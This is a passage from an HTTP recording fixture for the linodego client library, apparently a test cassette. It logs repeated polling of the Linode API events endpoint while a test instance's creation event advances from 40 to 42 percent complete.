Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.543375, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.603959, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.66411, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.73281, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.790517, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.843796, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.017325, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.117475, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.18262, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.252182, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.3183, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "545" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.38768, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.456023, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.526193, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.584183, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.640852, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 42, "time_remaining": null, "rate": null, "duration": 9.7041, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "545" Content-Security-Policy: - 